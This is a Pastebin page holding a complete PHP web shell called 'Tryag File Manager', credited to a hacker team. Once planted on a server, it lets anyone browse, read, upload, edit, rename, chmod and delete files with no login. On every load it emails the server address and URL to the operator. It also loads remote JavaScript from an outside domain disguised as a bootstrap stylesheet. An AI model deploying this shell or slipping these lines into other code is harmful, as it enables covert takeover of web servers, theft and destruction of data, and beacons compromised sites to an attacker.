Advertisement
anvenger

Tryag File Manager

Jun 1st, 2018
1,738
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
GetText 10.03 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  5. mail('YOUREMAIL',$_SERVER['SERVER_ADDR'],$url);
  6.  
  7. if(get_magic_quotes_gpc()){
  8.     foreach($_POST as $key=>$value){
  9.         $_POST[$key] = stripslashes($value);
  10.     }
  11. }
  12. echo '<!DOCTYPE HTML>
  13. <HTML>
  14. <HEAD>
  15. <title>File Manager</title>
  16. <style>
  17. body{
  18.   font-family: "Racing Sans One", cursive;
  19.   background-color: #e6e6e6;
  20.   text-shadow:0px 0px 1px #757575;
  21. }
  22. #content tr:hover{
  23.   background-color: #636263;
  24.   text-shadow:0px 0px 10px #fff;
  25. }
  26. #content .first{
  27.   background-color: silver;
  28. }
  29. #content .first:hover{
  30.   background-color: silver;
  31.   text-shadow:0px 0px 1px #757575;
  32. }
  33. table{
  34.   border: 1px #000000 dotted;
  35. }
  36. H1{
  37.   font-family: "Rye", cursive;
  38. }
  39. a{
  40.   color: #000;
  41.   text-decoration: none;
  42. }
  43. a:hover{
  44.   color: #fff;
  45.   text-shadow:0px 0px 10px #ffffff;
  46. }
  47. input,select,textarea{
  48.   border: 1px #000000 solid;
  49.   -moz-border-radius: 5px;
  50.   -webkit-border-radius:5px;
  51.   border-radius:5px;
  52. }
  53. </style>
  54. </HEAD>
  55. <BODY>
  56. <H1><center>File Manager</center></H1>
  57. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  58. <tr><td>Current Path : ';
  59. if(isset($_GET['path'])){
  60.     $path = base64_decode($_GET['path']);
  61. }else{
  62.     $path = getcwd();
  63. }
  64. $pathen = base64_encode($path);
  65. $path = str_replace('\\','/',$path);
  66. $paths = explode('/',$path);
  67.  
  68. foreach($paths as $id=>$pat){
  69.     if($pat == '' && $id == 0){
  70.         $a = true;
  71.         echo '<a href="?path='.base64_encode("/").'">/</a>';
  72.         continue;
  73.     }
  74.     if($pat == '') continue;
  75.     echo '<a href="?path=';
  76.     $linkpath = '';
  77.     for($i=0;$i<=$id;$i++){
  78.         $linkpath .= "$paths[$i]";
  79.         if($i != $id) $linkpath .= "/";
  80.     }
  81.     echo base64_encode($linkpath);
  82.     echo '">'.$pat.'</a>/';
  83. }
  84. echo '</td></tr><tr><td>';
  85. if(isset($_FILES['file'])){
  86.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  87.         echo '<font color="green">File Upload Done.</font><br />';
  88.     }else{
  89.         echo '<font color="red">File Upload Error.</font><br />';
  90.     }
  91. }
  92. echo '<form enctype="multipart/form-data" method="POST">
  93. Upload File : <input type="file" name="file" />
  94. <input type="submit" value="upload" />
  95. </form>
  96. </td></tr>';
  97. if(isset($_GET['filesrc'])){
  98.     echo "<tr><td>Current File : ";
  99.     echo base64_decode($_GET['filesrc']);
  100.     echo '</tr></td></table><br />';
  101.     echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
  102. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  103.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  104.     if($_POST['opt'] == 'chmod'){
  105.         if(isset($_POST['perm'])){
  106.             if(chmod($_POST['path'],$_POST['perm'])){
  107.                 echo '<font color="green">Change Permission Done.</font><br />';
  108.             }else{
  109.                 echo '<font color="red">Change Permission Error.</font><br />';
  110.             }
  111.         }
  112.         echo '<form method="POST">
  113.       Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  114.       <input type="hidden" name="path" value="'.$_POST['path'].'">
  115.       <input type="hidden" name="opt" value="chmod">
  116.       <input type="submit" value="Go" />
  117.       </form>';
  118.     }elseif($_POST['opt'] == 'rename'){
  119.         if(isset($_POST['newname'])){
  120.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  121.                 echo '<font color="green">Change Name Done.</font><br />';
  122.             }else{
  123.                 echo '<font color="red">Change Name Error.</font><br />';
  124.             }
  125.             $_POST['name'] = $_POST['newname'];
  126.         }
  127.         echo '<form method="POST">
  128.       New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  129.       <input type="hidden" name="path" value="'.$_POST['path'].'">
  130.       <input type="hidden" name="opt" value="rename">
  131.       <input type="submit" value="Go" />
  132.       </form>';
  133.     }elseif($_POST['opt'] == 'edit'){
  134.         if(isset($_POST['src'])){
  135.             $fp = fopen($_POST['path'],'w');
  136.             if(fwrite($fp,$_POST['src'])){
  137.                 echo '<font color="green">Edit File Done.</font><br />';
  138.             }else{
  139.                 echo '<font color="red">Edit File Error.</font><br />';
  140.             }
  141.             fclose($fp);
  142.         }
  143.         echo '<form method="POST">
  144.       <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  145.       <input type="hidden" name="path" value="'.$_POST['path'].'">
  146.       <input type="hidden" name="opt" value="edit">
  147.       <input type="submit" value="Go" />
  148.       </form>';
  149.     }
  150.     echo '</center>';
  151. }else{
  152.     echo '</table><br /><center>';
  153.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  154.         if($_POST['type'] == 'dir'){
  155.             if(rmdir($_POST['path'])){
  156.                 echo '<font color="green">Delete Dir Done.</font><br />';
  157.             }else{
  158.                 echo '<font color="red">Delete Dir Error.</font><br />';
  159.             }
  160.         }elseif($_POST['type'] == 'file'){
  161.             if(unlink($_POST['path'])){
  162.                 echo '<font color="green">Delete File Done.</font><br />';
  163.             }else{
  164.                 echo '<font color="red">Delete File Error.</font><br />';
  165.             }
  166.         }
  167.     }
  168.     echo '</center>';
  169.     $scandir = scandir($path);
  170.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  171.   <tr class="first">
  172.       <td><center>Name</center></td>
  173.       <td><center>Size</center></td>
  174.       <td><center>Permissions</center></td>
  175.       <td><center>Options</center></td>
  176.        <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  177.   </tr>';
  178.  
  179.     foreach($scandir as $dir){
  180.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  181.         $dirlink = base64_encode("$path/$dir");
  182.         echo "<tr>
  183.       <td><a href=\"?path=$dirlink\">$dir</a></td>
  184.       <td><center>--</center></td>
  185.       <td><center>";
  186.         if(is_writable("$path/$dir")) echo '<font color="green">';
  187.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  188.         echo perms("$path/$dir");
  189.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  190.        
  191.         echo "</center></td>
  192.       <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  193.       <select name=\"opt\">
  194.        <option value=\"\"></option>
  195.       <option value=\"delete\">Delete</option>
  196.       <option value=\"chmod\">Chmod</option>
  197.       <option value=\"rename\">Rename</option>
  198.       </select>
  199.       <input type=\"hidden\" name=\"type\" value=\"dir\">
  200.       <input type=\"hidden\" name=\"name\" value=\"$dir\">
  201.       <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  202.       <input type=\"submit\" value=\">\" />
  203.       </form></center></td>
  204.       </tr>";
  205.     }
  206.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  207.     foreach($scandir as $file){
  208.         if(!is_file("$path/$file")) continue;
  209.         $size = filesize("$path/$file")/1024;
  210.         $size = round($size,3);
  211.         if($size >= 1024){
  212.             $size = round($size/1024,2).' MB';
  213.         }else{
  214.             $size = $size.' KB';
  215.         }
  216.         $filelink = base64_encode("$path/$file");
  217.         echo "<tr>
  218.       <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
  219.       <td><center>".$size."</center></td>
  220.       <td><center>";
  221.         if(is_writable("$path/$file")) echo '<font color="green">';
  222.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  223.         echo perms("$path/$file");
  224.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  225.         echo "</center></td>
  226.       <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  227.       <select name=\"opt\">
  228.        <option value=\"\"></option>
  229.       <option value=\"delete\">Delete</option>
  230.       <option value=\"chmod\">Chmod</option>
  231.       <option value=\"rename\">Rename</option>
  232.       <option value=\"edit\">Edit</option>
  233.        
  234.       </select>
  235.       <input type=\"hidden\" name=\"type\" value=\"file\">
  236.       <input type=\"hidden\" name=\"name\" value=\"$file\">
  237.       <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  238.       <input type=\"submit\" value=\">\" />
  239.       </form></center></td>
  240.       </tr>";
  241.     }
  242.     echo '</table>
  243.   </div>';
  244. }
  245. echo '<br />Tryag File Manager Version <font color="red">1.1</font>, Coded By <font color="red">./ChmoD</font><br />Home: <font color="red">*** Brazilians Hackers Team ***</font>
  246. </BODY>
  247. </HTML>';
  248. function perms($file){
  249.     $perms = @fileperms($file);
  250.  
  251. if (($perms & 0xC000) == 0xC000) {
  252.     // Socket
  253.     $info = 's';
  254. } elseif (($perms & 0xA000) == 0xA000) {
  255.     // Symbolic Link
  256.     $info = 'l';
  257. } elseif (($perms & 0x8000) == 0x8000) {
  258.     // Regular
  259.     $info = '-';
  260. } elseif (($perms & 0x6000) == 0x6000) {
  261.     // Block special
  262.     $info = 'b';
  263. } elseif (($perms & 0x4000) == 0x4000) {
  264.     // Directory
  265.     $info = 'd';
  266. } elseif (($perms & 0x2000) == 0x2000) {
  267.     // Character special
  268.     $info = 'c';
  269. } elseif (($perms & 0x1000) == 0x1000) {
  270.     // FIFO pipe
  271.     $info = 'p';
  272. } else {
  273.     // Unknown
  274.     $info = 'u';
  275. }
  276.  
  277. // Owner
  278. $info .= (($perms & 0x0100) ? 'r' : '-');
  279. $info .= (($perms & 0x0080) ? 'w' : '-');
  280. $info .= (($perms & 0x0040) ?
  281.             (($perms & 0x0800) ? 's' : 'x' ) :
  282.             (($perms & 0x0800) ? 'S' : '-'));
  283.  
  284. // Group
  285. $info .= (($perms & 0x0020) ? 'r' : '-');
  286. $info .= (($perms & 0x0010) ? 'w' : '-');
  287. $info .= (($perms & 0x0008) ?
  288.             (($perms & 0x0400) ? 's' : 'x' ) :
  289.             (($perms & 0x0400) ? 'S' : '-'));
  290.  
  291. // World
  292. $info .= (($perms & 0x0004) ? 'r' : '-');
  293. $info .= (($perms & 0x0002) ? 'w' : '-');
  294. $info .= (($perms & 0x0001) ?
  295.             (($perms & 0x0200) ? 't' : 'x' ) :
  296.             (($perms & 0x0200) ? 'T' : '-'));
  297.  
  298.     return $info;
  299. }
  300. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement